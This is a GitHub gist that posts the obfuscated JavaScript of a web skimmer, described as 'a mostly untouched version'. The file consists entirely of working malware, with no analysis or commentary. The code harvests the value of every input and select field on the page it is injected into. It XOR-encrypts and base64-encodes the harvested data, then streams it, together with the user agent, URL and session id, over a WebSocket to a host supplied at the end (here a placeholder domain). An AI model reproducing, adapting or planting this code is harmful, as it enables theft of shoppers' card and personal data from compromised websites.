Skip to content

Instantly share code, notes, and snippets.

@krautface
Created December 17, 2019 04:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save krautface/2c59cc282b4bba36b86e12b3dab943e4 to your computer and use it in GitHub Desktop.
Save krautface/2c59cc282b4bba36b86e12b3dab943e4 to your computer and use it in GitHub Desktop.
a mostly untouched version of the skimmer
var a = "cHVzaA== YXBwbHk= ZnVuY3Rpb24= RXhwZWN0ZWQgYSBmdW5jdGlvbg== bGVuZ3Ro Y2FsbA== W29iamVjdCBGdW5jdGlvbl0= W29iamVjdCBHZW5lcmF0b3JGdW5jdGlvbl0= W29iamVjdCBBc3luY0Z1bmN0aW9uXQ== W29iamVjdCBQcm94eV0= b2JqZWN0 Y2hhaW4= cHJvdG90eXBl dmFsdWU= c291cmNl T2JqZWN0 cmV0dXJuIHRoaXM= JmFtcDs= Jmx0Ow== Jmd0Ow== JnF1b3Q7 JiMzOTs= aGFzT3duUHJvcGVydHk= dG9TdHJpbmc= Y3JlYXRl a2V5cw== bWF4 Y29uc3RydWN0b3I= bnVtYmVy ZXh0ZW5k ZXNjYXBl c3RyaW5n dGVzdA== cmVwbGFjZQ== VkVSU0lPTg== NC4xNy4y dG9KU09O dmFsdWVPZg== c2xpY2U= dHlwZXM= Y2FsbGVl Z2V0VGltZQ== bWV0aG9k ZnJvbUNoYXJDb2Rl c3BsaXQ= bWFw Y2hhckNvZGVBdA== am9pbg== Y2hhckF0 PT09 aW5kZXhPZg== cmV0dXJuICJaIlsiY28iWyJjbyIrIm4iKyJjYXQiXSgibmMiLCJhdCIpXSgiWVgiWyJjbyJbImNvIisibiIrImNhdCJdKCJuYyIsImF0IildKCJXIiwgIlZVVFNSIiwgIlEiWyJjbyJbImNvIisibiIrImNhdCJdKCJuYyIsImF0IildKCJQT04iLCJNTEsiLCJKSUhHRiJbImNvIlsiY28iKyJuIisiY2F0Il0oIm5jIiwiYXQiKV0oIkVEQyIsIkJBeiIsInkiLCJ4IikpKSlbImNvIlsiY28iKyJuIisiY2F0Il0oIm5jIiwiYXQiKV0oInciLCJ2dXQiLCJzcnFwb24iLCJtbCIsImsiLCJqIlsiY28iWyJjbyIrIm4iKyJjYXQiXSgibmMiLCJhdCIpXSgiaWgiLCAiZ2ZlZGNiYSIsIjkiLCI4NzYiLCI1NDMiLCIyMTAiWyJjbyJbImNvIisibiIrImNhdCJdKCJuYyIsImF0IildKCIrIiksIi8iLCI9Iikp V2ViU29ja2V0 TW96V2ViU29ja2V0 Y29uc29sZQ== c2V0 cmVtb3Zl Z2V0 aGVhZA== Z2V0RWxlbWVudHNCeVRhZ05hbWU= ZG9jdW1lbnRFbGVtZW50 Zmlyc3RDaGlsZA== YWNjZXB0 X19hY2NlcHREYXRhXw== d25k Z19yZXFfaGFuZGxlcl9zbmdsdG4= Z19yZXFfaGFuZGxlcl9hY2NlcHRvcg== b25vcGVu b25jbG9zZQ== b25lcnJvcg== b25tZXNzYWdl Zmxvb3I= U1BIUkFTRQ== U0VTU0lE VVNFUkFHRU5U TE9DQVRJT04= SE9TVElE c3RyaW5naWZ5 c2VuZA== SU5JVA== Q09SRV9VUERBVEVfUEVSSU9E MDAwMDAwMDAgNzcwNzMwOTYgRUUwRTYxMkMgOTkwOTUxQkEgMDc2REM0MTkgNzA2QUY0OEYgRTk2M0E1MzUgOUU2NDk1QTMgMEVEQjg4MzIgNzlEQ0I4QTQgRTBENUU5MUUgOTdEMkQ5ODggMDlCNjRDMkIgN0VCMTdDQkQgRTdCODJEMDcgOTBCRjFEOTEgMURCNzEwNjQgNkFCMDIwRjIgRjNCOTcxNDggODRCRTQxREUgMUFEQUQ0N0QgNkREREU0RUIgRjRENEI1NTEgODNEMzg1QzcgMTM2Qzk4NTYgNjQ2QkE4QzAgRkQ2MkY5N0EgOEE2NUM5RUMgMTQwMTVDNEYgNjMwNjZDRDkgRkEwRjNENjMgOEQwODBERjUgM0I2RTIwQzggNEM2OTEwNUUgRDU2MDQxRTQgQTI2NzcxNzIgM0MwM0U0RDEgNEIwNEQ0NDcgRDIwRDg1RkQgQTUwQUI1NkIgMzVCNUE4RkEgNDJCMjk4NkMgREJCQkM5RDYgQUNCQ0Y5NDAgMzJEODZDRTMgNDVERjVDNzUgRENENjBEQ0YgQUJEMTNENTkgMjZEOTMwQUMgNTFERTAwM0EgQzhENzUxODAgQkZEMDYxMTYgMjFCNEY0QjUgNTZCM0M0MjMgQ0ZCQTk1OTkgQjhCREE1MEYgMjgwMkI4OUUgNUYwNTg4MDggQzYwQ0Q5QjIgQjEwQkU5MjQgMkY2RjdDODcgNTg2ODRDMTEgQzE2MTFEQUIgQjY2NjJEM0QgNzZEQzQxOTAgMDFEQjcxMDYgOThEMjIwQkMgRUZENTEwMkEgNzFCMTg1ODkgMDZCNkI1MUYgOUZCRkU0QTUgRThCOEQ0MzMgNzgwN0M5QTIgMEYwMEY5MzQgOTYwOUE4OEUgRTEwRTk4MTggN0Y2QTBEQkIgMDg2RDNEMkQgOTE2NDZDOTcgRTY2MzVDMDEgNkI2QjUxRjQgMUM2QzYxNjIgODU2NTMwRDggRjI2MjAwNEUgNkMwNjk1RUQgMUIwMUE1N0IgODIwOEY0QzEgRjUwRkM0NTcgNjVCMEQ5QzYgMTJCN0U5NTAgOEJCRUI4RUEgRkNCOTg4N0MgNjJERDFEREYgMTVEQTJENDkgOENEMzdDRjMgRkJENDRDNjUgNERCMjYxNTggM0FCNTUxQ0UgQTNCQzAwNzQgRDRCQjMwRTIgNEFERkE1NDEgM0REODk1RDcgQTREMUM0NkQgRDNENkY0RkIgNDM2OUU5NkEgMzQ2RUQ5RkMgQUQ2Nzg4NDYgREE2MEI4RDAgNDQwNDJENzMgMzMwMzFERTUgQUEwQTRDNUYgREQwRDdDQzkgNTAwNTcxM0MgMjcwMjQxQUEgQkUwQjEwMTAgQzkwQzIwODYgNTc2OEI1MjUgMjA2Rjg1QjMgQjk2NkQ0MDkgQ0U2MUU0OUYgNUVERUY5MEUgMjlEOUM5OTggQjBEMDk4MjIgQzdEN0E4QjQgNTlCMzNEMTcgMkVCNDBEODEgQjdCRDVDM0IgQzBCQTZDQUQgRURCODgzMjAgOUFCRkIzQjYgMDNCNkUyMEMgNzRCMUQyOUEgRUFENTQ3MzkgOUREMjc3QUYgMDREQjI2MTUgNzNEQzE2ODMgRTM2MzBCMTIgOTQ2NDNCODQgMEQ2RDZBM0UgN0E2QTVBQTggRTQwRUNGMEIgOTMwOUZGOUQgMEEwMEFFMjcgN0QwNzlFQjEgRjAwRjkzNDQgODcwOEEzRDIgMUUwMUYyNjggNjkwNkMyRkUgRjc2MjU3NUQgODA2NTY3Q0IgMTk2QzM2NzEgNkU2QjA2RTcgRkVENDFCNzYgODlEMzJCRTAgMTBEQTdBNUEgNjdERDRBQ0MgRjlCOURGNkYgOEVCRUVGRjkgMTdCN0JFNDMgNjBCMDhFRDUgRDZENkEzRTggQTFEMTkzN0UgMzhEOEMyQzQgNEZERkYyNTIgRDFCQjY3RjEgQTZCQzU3NjcgM0ZCNTA2REQgNDhCMjM2NEIgRDgwRDJCREEgQUYwQTFCNEMgMzYwMzRBRjYgNDEwNDdBNjAgREY2MEVGQzMgQTg2N0RGNTUgMzE2RThFRUYgNDY2OUJFNzkgQ0I2MUIzOEMgQkM2NjgzMUEgMjU2RkQyQTAgNTI2OEUyMzYgQ0MwQzc3OTUgQkIwQjQ3MDMgMjIwMjE2QjkgNTUwNTI2MkYgQzVCQTNCQkUgQjJCRDBCMjggMkJCNDVBOTIgNUNCMzZBMDQgQzJEN0ZGQTcgQjVEMENGMzEgMkNEOTlFOEIgNUJERUFFMUQgOUI2NEMyQjAgRUM2M0YyMjYgNzU2QUEzOUMgMDI2RDkzMEEgOUMwOTA2QTkgRUIwRTM2M0YgNzIwNzY3ODUgMDUwMDU3MTMgOTVCRjRBODIgRTJCODdBMTQgN0JCMTJCQUUgMENCNjFCMzggOTJEMjhFOUIgRTVENUJFMEQgN0NEQ0VGQjcgMEJEQkRGMjEgODZEM0QyRDQgRjFENEUyNDIgNjhEREIzRjggMUZEQTgzNkUgODFCRTE2Q0QgRjZCOTI2NUIgNkZCMDc3RTEgMThCNzQ3NzcgODgwODVBRTYgRkYwRjZBNzAgNjYwNjNCQ0EgMTEwMTBCNUMgOEY2NTlFRkYgRjg2MkFFNjkgNjE2QkZGRDMgMTY2Q0NGNDUgQTAwQUUyNzggRDcwREQyRUUgNEUwNDgzNTQgMzkwM0IzQzIgQTc2NzI2NjEgRDA2MDE2RjcgNDk2OTQ3NEQgM0U2RTc3REIgQUVEMTZBNEEgRDlENjVBREMgNDBERjBCNjYgMzdEODNCRjAgQTlCQ0FFNTMgREVCQjlFQzUgNDdCMkNGN0YgMzBCNUZGRTkgQkRCREYyMUMgQ0FCQUMyOEEgNTNCMzkzMzAgMjRCNEEzQTYgQkFEMDM2MDUgQ0RENzA2OTMgNTRERTU3MjkgMjNEOTY3QkYgQjM2NjdBMkUgQzQ2MTRBQjggNUQ2ODFCMDIgMkE2RjJCOTQgQjQwQkJFMzcgQzMwQzhFQTEgNUEwNURGMUIgMkQwMkVGOEQ= Q1JD cXVlcnlTZWxlY3RvckFsbA== REVGQVVMVF9UWFRfRklFTEQ= c2VsZWN0LCBpbnB1dA== Z2V0QXR0cmlidXRl bmFtZQ== dGFnTmFtZQ== dG9Mb3dlckNhc2U= c2VhcmNo c2VsZWN0 b3B0aW9ucw== c2VsZWN0ZWRJbmRleA== dGV4dA== RklFTERTX0ZJTFRFUg== aGFzQXR0cmlidXRl RVhUUkFfVFhUX0ZJRUxEUw== cXVlcnlTZWxlY3Rvcg== aW5uZXJIVE1MfG91dGVySFRNTA== RVhUUkFfRklFTERf c2V0RGF0YQ== dXNlckFnZW50 aG9zdA==".split(" ");
function L(t)
{
t -= 0;
var v = a[t];
void 0 === L.UYZOVc && (function ()
{
var r = "undefined" !== typeof window ? window : "object" === typeof process && "function" === typeof require && "object" === typeof global ? global : this;
r.atob || (r.atob = function (l)
{
l = String(l).replace(/=+$/, "");
for (var q = 0, f, m, b = 0, c = ""; m = l.charAt(b++); ~m && (f = q % 4 ? 64 * f + m : m, q++ % 4) ? c += String.fromCharCode(255 & f >> (-2 * q & 6)) : 0) m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(m);
return c
})
}(), L.fOfALT = function (r)
{
r = atob(r);
for (var l = [],
q = 0, f = r.length; q < f; q++) l += "%" + ("00" + r.charCodeAt(q).toString(16)).slice(-2);
return decodeURIComponent(l)
}, L.SqaMeO = {}, L.UYZOVc = !0);
var A = L.SqaMeO[t];
void 0 === A ? (v = L.fOfALT(v), L.SqaMeO[t] = v) : v = A;
return v
}
(function (t, v, A, r, l)
{
(function (b)
{
function c()
{}
var d = function ()
{
function b(x, c)
{
x[L("0x0")][L("0x1")](x, c);
return x
}
function c(b)
{
return b instanceof d ? b : new d(b)
}
function d(b, c)
{
this.J = b;
this.m = [];
this.F = !!c
}
function e(b, c, C)
{
if (L("0x2") != typeof b) throw new TypeError(L("0x3"));
return setTimeout(function ()
{
b[L("0x1")](y, C)
}, c)
}
function u(b, c)
{
var C = [];
E(b, function (b, x, d)
{
c(b, x, d) && C[L("0x0")](b)
});
return C
}
function w(b, c)
{
return b && M(b, c, D)
}
function f(b, c)
{
return u(c, function (c)
{
return r(b[c])
})
}
function p(b)
{
return N(q(b, v), b + "")
}
function s(c, d)
{
return reduce(d, function (c, x)
{
return x.Da[L("0x1")](x.Ma, b([c], x.ua))
}, c)
}
function l(b, c, d, g)
{
var k = !d;
d || (d = {});
for (var e = -1, u = c[L("0x4")]; ++e < u;)
{
var h = c[e],
f = g ? g(d[h], b[h], h, d, b) : y;
f === y && (f = b[h]);
if (k) d[h] = f;
else
{
var n = d,
w = n[h];
F[L("0x5")](n, h) && (w === f || w !== w && f !== f) && (f !== y || h in n) || (n[h] = f)
}
}
}
function m(b)
{
return p(function (c, d)
{
var g = -1,
k = d[L("0x4")],
e = 1 < k ? d[k - 1] : y,
e = 3 < b[L("0x4")] && L("0x2") == typeof e ? (k--, e) : y;
for (c = Object(c); ++g < k;)
{
var h =
d[g];
h && b(c, h, g, e)
}
return c
})
}
function K(b)
{
var c = [];
if (null != b)
for (var d in Object(b)) c[L("0x0")](d);
return c
}
function q(b, c)
{
var d = void 0,
d = G(d === y ? b[L("0x4")] - 1 : d, 0);
return function ()
{
for (var g = arguments, k = -1, e = G(g[L("0x4")] - d, 0), h = Array(e); ++k < e;) h[k] = g[d + k];
k = -1;
for (e = Array(d + 1); ++k < d;) e[k] = g[k];
e[d] = c(h);
return b[L("0x1")](this, e)
}
}
function r(b)
{
if (!t(b)) return !1;
b = O[L("0x5")](b);
return L("0x6") == b || L("0x7") == b || L("0x8") == b || L("0x9") == b
}
function t(b)
{
var c = typeof b;
return null != b && (L("0xa") ==
c || L("0x2") == c)
}
function v(b)
{
return b
}
function A(c, d, e)
{
var g = D(d),
h = f(d, g);
null != e || t(d) && (h[L("0x4")] || !g[L("0x4")]) || (e = d, d = c, c = this, h = f(d, D(d)));
var u = !(t(e) && L("0xb") in e) || !!e.ya,
n = r(c);
E(h, function (e)
{
var g = d[e];
c[e] = g;
n && (c[L("0xc")][e] = function ()
{
var d = this.F;
if (u || d)
{
var e = c(this.J),
h = this.m,
f = h,
n = h[L("0x4")],
h = 0,
w = -1,
z = f[L("0x4")];
0 > h && (h = -h > z ? 0 : z + h);
n = n > z ? z : n;
0 > n && (n += z);
z = h > n ? 0 : n - h >>> 0;
h >>>= 0;
for (n = Array(z); ++w < z;) n[w] = f[w + h];
(e.m = n)[L("0x0")](
{
func: g,
args: arguments,
thisArg: c
});
e.F =
d;
return e
}
return g[L("0x1")](c, b([this[L("0xd")]()], arguments))
})
})
}
var y, H = /[&<>"']/g,
P = RegExp(H[L("0xe")]),
B = L("0xa") == typeof self && self && self[L("0xf")] === Object && self;
L("0xa") == typeof global && global && global[L("0xf")] === Object && global || B || Function(L("0x10"))();
var Q = function (b)
{
return function (c)
{
return null == b ? y : b[c]
}
}(
{
"&": L("0x11"),
"<": L("0x12"),
">": L("0x13"),
'"': L("0x14"),
"'": L("0x15")
}),
B = Object[L("0xc")],
F = B[L("0x16")],
O = B[L("0x17")],
I = Object[L("0x18")],
B = function (b, c)
{
return function (d)
{
return b(c(d))
}
}(Object[L("0x19")],
Object),
G = Math[L("0x1a")];
d[L("0xc")] = function ()
{
function b()
{}
return function (c)
{
if (!t(c)) return {};
if (I) return I(c);
b[L("0xc")] = c;
c = new b;
b[L("0xc")] = y;
return c
}
}()(c[L("0xc")]);
d[L("0xc")][L("0x1b")] = d;
var E = function (b, c)
{
return function (d, e)
{
if (null == d) return d;
var g;
(g = null == d) || (g = d[L("0x4")], g = !(L("0x1c") == typeof g && -1 < g && 0 == g % 1 && 9007199254740991 >= g));
if (g || r(d)) return b(d, e);
g = d[L("0x4")];
for (var k = c ? g : -1, h = Object(d);
(c ? k-- : ++k < g) && !1 !== e(h[k], k, h););
return d
}
}(w),
M = function (b)
{
return function (c,
d, g)
{
var e = -1,
k = Object(c);
g = g(c);
for (var h = g[L("0x4")]; h--;)
{
var n = g[b ? h : ++e];
if (!1 === d(k[n], n, k)) break
}
return c
}
}(),
N = v;
p(function (b, c, d)
{
return e(b, R(c) || 0, d)
});
var R = Number,
J = m(function (b, c)
{
l(c, K(c), b)
});
m(function (b, c, d, g)
{
l(c, S(c), b, g)
});
var D = B,
S = K;
c.va = J;
c[L("0x1d")] = J;
A(c, c);
c[L("0x1e")] = function (b)
{
return (b = L("0x1f") == typeof b ? b : null == b ? "" : b + "") && P[L("0x20")](b) ? b[L("0x21")](H, Q) : b
};
A(c, function ()
{
var b = {};
w(c, function (d, e)
{
F[L("0x5")](c[L("0xc")], e) || (b[e] = d)
});
return b
}(),
{
chain: !1
});
c[L("0x22")] = L("0x23");
c[L("0xc")][L("0x24")] = c[L("0xc")][L("0x25")] = c[L("0xc")][L("0xd")] = function ()
{
return s(this.J, this.m)
};
return c
}[L("0x5")](this),
p = {
Function:
{
ba: function (b)
{
setTimeout(this, b);
return this
},
e: function (b)
{
var c = this;
return function ()
{
return c[L("0x1")](b || null, arguments)
}
},
Ia: function (b)
{
var c = this,
d = !0,
e = 1 < arguments[L("0x4")] && Array[L("0xc")][L("0x26")][L("0x5")](arguments, 1) || null;
return function ()
{
d && (d = null, c[L("0x1")](this, e || arguments), c = e = null)
}.ba(b)
}
}
};
b.aa = function (c,
e, h)
{
function n(b, c)
{
if (b && f[b])
{
try
{
f[b](b, c)
}
catch (d)
{}
delete f[b]
}
}
var f = {};
c[e] = c[e] ||
{};
c[e][h] = n;
return function (c, e)
{
var g = b.r();
f[g] = c;
e && d.Aa(n, e, g, null);
return g
}
};
b[L("0x27")] = {};
b[L("0x27")].ha = {};
b[L("0x27")].Ba = {};
b[L("0x27")].V = function (c, e)
{
var h = b[L("0x27")].ha[c];
if (!h) return null;
e = e || null;
var n = {};
d[L("0x1d")](n, h);
return function (b)
{
if (b)
for (var c in h) arguments[L("0x28")][c] = n[c] = b[c] || e;
return n
}
};
for (var s in p) d[L("0x1d")](window[s][L("0xc")], p[s]);
var e = [],
u = b.j.A,
f = {
i: function (c)
{
c =
c || this;
return c.H ? c.H : c.H = b.r()
},
$: function (b, c)
{
e[L("0x0")](
{
g: this,
Q: c,
B: b
})
},
method: function (b, c)
{
var d = c || this,
e = this.i(c),
f, p;
for (p in b) return f = b[p], this[L("0xc")][p] = function ()
{
var b = this.c,
c = this.a,
g = this.t;
try
{
return this.t = e, this.a = this.I[e] || (this.I[e] = {}), this.c = d.v && d.v[p] || u, f[L("0x1")](this, arguments)
}
catch (k)
{}
finally
{
this.c = b, this.a = c, this.t = g
}
}, this.i(this[L("0xc")][p]), this[L("0xc")][p]
}
};
c[L("0xc")] = {
i: f.i,
u: d,
ea: b[L("0x27")].V,
s: b,
ia: function ()
{
return (new Date)[L("0x29")]()
},
fa: function (b, c)
{
for (c in b) this[c] = this[c]
}
};
Function[L("0xc")].d = function (b)
{
function e()
{
this.I = {};
this.fa(
{
u: null
});
return this.M[L("0x1")](this, arguments)
}
function h()
{}
b = b || c;
h[L("0xc")] = b[L("0xc")];
e[L("0xc")] = new h;
e.v = b[L("0xc")];
d[L("0x1d")](e, f);
e.$(b, this);
return e
};
Function[L("0xc")].D = function ()
{
for (var b = e[L("0x4")], c, d, f, u; 0 < b--;)
{
c = e[b];
f = c.g[L("0xc")];
for (d in f) f[L("0x16")](d) && (u = {}, u[d] = f[d], c.g[L("0x2a")](u));
c.g[L("0x2a")](
{
c: c.B
}, c.B);
c.g[L("0x2a")](
{
M: c.Q
})
}
}
})(function ()
{
var b = {
j:
{}
};
b.j.ka = [];
b.j.A = function () {};
b.S = function (b)
{
function d(b)
{
return encodeURIComponent(b)[L("0x21")](/%([0-9A-F]{2})/g, function (b, c)
{
return String[L("0x2b")]("0x" + c)
})
}
function f(b)
{
return decodeURIComponent(b[L("0x2c")]("")[L("0x2d")](function (b)
{
return "%" + ("00" + b[L("0x2e")](0)[L("0x17")](16))[L("0x26")](-2)
})[L("0x2f")](""))
}
var s = (new Function(b))();
return {
Z: function (b)
{
var c, f, k, g, h = 0,
n = 0,
p = "",
p = [];
if (!b) return b;
b = d(b);
do c = b[L("0x2e")](h++), f = b[L("0x2e")](h++), k = b[L("0x2e")](h++), g = c <<
16 | f << 8 | k, c = g >> 18 & 63, f = g >> 12 & 63, k = g >> 6 & 63, g &= 63, p[n++] = s[L("0x30")](c) + s[L("0x30")](f) + s[L("0x30")](k) + s[L("0x30")](g); while (h < b[L("0x4")]);
p = p[L("0x2f")]("");
b = b[L("0x4")] % 3;
return (b ? p[L("0x26")](0, b - 3) : p) + L("0x31")[L("0x26")](b || 3)
},
xa: function (b)
{
var c, d, k, g, h, n = 0,
l = 0,
m = [];
if (!b) return b;
b += "";
do c = s[L("0x32")](b[L("0x30")](n++)), d = s[L("0x32")](b[L("0x30")](n++)), g = s[L("0x32")](b[L("0x30")](n++)), h = s[L("0x32")](b[L("0x30")](n++)), k = c << 18 | d << 12 | g << 6 | h, c = k >> 16 & 255, d = k >> 8 & 255, k &= 255, 64 === g ? m[l++] =
String[L("0x2b")](c) : 64 === h ? m[l++] = String[L("0x2b")](c, d) : m[l++] = String[L("0x2b")](c, d, k); while (n < b[L("0x4")]);
g = m[L("0x2f")]("");
return f(g[L("0x21")](/\0+$/, ""))
}
}
}(L("0x33"));
b.r = function ()
{
var b = 0;
return function ()
{
return b += 1
}
}();
b.Ea = function ()
{
return window[L("0x34")] || window[L("0x35")] || null
};
window[L("0x36")] = window[L("0x36")] ||
{
log: b.j.A
};
return b
}());
var q = function () {}.d();
q[L("0xc")][L("0x37")] = function (b, c)
{
this.a[b] = c
};
q[L("0xc")][L("0x38")] = function (b)
{
delete this.a[b]
};
q[L("0xc")][L("0x39")] =
function (b)
{
return this.a[b]
};
var f = function ()
{
this.a.Y = {
doc: document,
wnd: window,
head: document[L("0x3a")] || document[L("0x3b")](L("0x3a"))[0] || document[L("0x3c")][L("0x3d")],
g_req_handler_acceptor: L("0x3e"),
g_req_handler_sngltn: L("0x3f") + this.ia()
}
}.d();
f[L("0xc")].f = function (b)
{
return this.a.Y[b] || null
};
(function (b, c, d)
{
this.a.Ka = b;
this.a.za = c;
this.a.Ha = d;
this.a.ta = {};
this.c()
}).d();
(function ()
{
this.c();
this.a.Ca = this.s.aa(this.f(L("0x40")), this.f(L("0x41")), this.f(L("0x42")));
this.a.Ja = this.f(L("0x41")) +
"." + this.f(L("0x42"))
}).d(f);
(function (b, c)
{
this.a.Ga = b || null;
this.a.La = c && this.ea(c) || null
}).d();
var f = function (b)
{
this.c();
this.a.sa = b ||
{};
this.a.wa = !1
}.d(),
m = function (b, c)
{
this.c();
var d = this.a;
d.ra = [];
d.Fa = 1;
d.qa = this.s.r();
d.l = b;
d.C = !0;
d.T = !1;
d.b = c;
d.k = !1;
this.da()
}.d();
m[L("0xc")].da = function ()
{
if (this.a.l && !this.a.k)
{
this.q = this.q.e(this);
this.G = this.G.e(this);
this.n = this.n.e(this);
this.o = this.o.e(this);
this.p = this.p.e(this);
var b = this.a.l;
b[L("0x43")] = this.q;
b[L("0x44")] = this.n;
b[L("0x45")] =
this.o;
b[L("0x46")] = this.p;
this.a.k = !0
}
};
m[L("0xc")].G = function () {};
m[L("0xc")].q = function () {};
m[L("0xc")].n = function (b)
{
var c = this.a;
c.C = !1;
c.T = !1;
c.la = b
};
m[L("0xc")].o = function () {};
m[L("0xc")].p = function () {};
m[L("0xc")].ja = function (b, c)
{
for (var d = 0, f = c[L("0x4")], m = []; d < f; d++) m[L("0x0")](String[L("0x2b")](c[L("0x2e")](d) ^ b[L("0x2e")](Math[L("0x47")](d % b[L("0x4")]))));
return m[L("0x2f")]("")
};
m[L("0xc")].ca = function (b)
{
b = this.ja(this.a.b[L("0x39")](L("0x48")), b);
b = this.s.S.Z(b);
return encodeURIComponent(b)
};
m[L("0xc")].X = function (b)
{
var c = this.a;
if (c.C)
{
b = {
sess_id: c.b[L("0x39")](L("0x49")),
cmd: L("0x0"),
info:
{
user_ua: c.b[L("0x39")](L("0x4a")),
url: c.b[L("0x39")](L("0x4b")),
sess_host_id: c.b[L("0x39")](L("0x4c"))
},
data_include: b || ""
};
c = null;
try
{
c = JSON[L("0x4d")](b)
}
catch (d)
{}
c && (b = {
data: b
}, c = this.ca(JSON[L("0x4d")](b)), this.a.l[L("0x4e")](c))
}
};
f = function (b)
{
var c = this.a;
this.c();
c.N = b ||
{};
c.pa = "";
c.b = null;
c.w = null;
c.k = !1;
c.oa = !1;
c.ma = !1;
c.b = new q;
c.O = {};
c.h = {};
c.na = 0;
this[L("0x4f")]()
}.d(f);
f[L("0xc")].U =
function ()
{
var b = this.a;
this.ga();
for (var c in b.h)
{
try
{
var d = JSON[L("0x4d")](b.h);
this.R(d)
}
catch (f)
{}
b.h = {};
break
}
this.L()
};
f[L("0xc")].W = function (b, c)
{
return function (b, c)
{
return function ()
{
setTimeout(b, c)
}
}(b.e(this), c, b = c = null)
};
f[L("0xc")][L("0x4f")] = function (b)
{
this.a.w = new m(b, this.a.b);
this.L = this.W(this.U, this.a.b[L("0x39")](L("0x50")) || 1E3);
this.L()
};
f[L("0xc")].P = function ()
{
var b = L("0x51")[L("0x2c")](" ")[L("0x2d")](function (b)
{
return parseInt(b, 16)
});
return function (c)
{
c = "" + c;
for (var d = -1, f = 0, m = c[L("0x4")]; f < m; f++) d = d >>> 8 ^ b[(d ^ c[L("0x2e")](f)) & 255];
return (d ^ -1) >>> 0
}
}();
f[L("0xc")].K = function (b, c)
{
var d = this.a,
f = d.O,
m = this.P(c);
if (f[b] || m) f[b] && f[b][L("0x52")] === m || (f[b] = {
VAL: c,
CRC: m,
NM: b
}, d.h[b] = c)
};
f[L("0xc")].ga = function ()
{
for (var b = this.a.N, c = document[L("0x53")](b[L("0x54")] || L("0x55")), d, f, m, e, l, q, k = c[L("0x4")]; k--;)
{
l = c[k];
e = [l[L("0x56")](L("0x57")), l[L("0x56")]("id")];
m = e[L("0x2f")]("::");
e = l[L("0xd")]; - 1 !== l[L("0x58")][L("0x59")]()[L("0x5a")](L("0x5b")) && l[L("0x5c")][L("0x4")] &&
/^\d+$/ [L("0x20")](e) && (e = l[L("0x5c")][l[L("0x5d")]][L("0x5e")]);
if (b[L("0x5f")])
{
f = b[L("0x5f")];
q = !1;
for (d in f)
if (f[d] && l[L("0x60")](d) && !~(l[L("0x56")](d) || "")[L("0x5a")](f[d]))
{
q = !0;
break
}
if (q) continue
}
this.K(m, e)
}
if (b[L("0x61")])
for (d in b = b[L("0x61")], c = 0, b) c++, e = (l = document[L("0x62")](d)) && l[b[d]] || "", e = e[L("0x21")](/[\s\r\n]+/g, " "), ~b[d][L("0x5a")](L("0x63")) && (e = this.u[L("0x1e")](e)), e && this.K(L("0x64") + c, e)
};
f[L("0xc")].R = function (b)
{
this.a.w.X(b)
};
f[L("0xc")][L("0x65")] = function (b, c)
{
this.a.b[L("0x37")](b,
c)
};
Function.D();
delete Function.D;
l = new f(l);
l[L("0x65")](L("0x4a"), navigator[L("0x66")]);
l[L("0x65")](L("0x4c"), v);
l[L("0x65")](L("0x4b"), location[L("0x67")]);
l[L("0x65")](L("0x48"), A);
l[L("0x65")](L("0x49"), r);
l[L("0x65")](L("0x50"), 300);
l[L("0x4f")](t)
})
(this, "www.example.com", "cLdFHRFn", "47f3d53a0bc21fd43207889f1958bba9",{})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment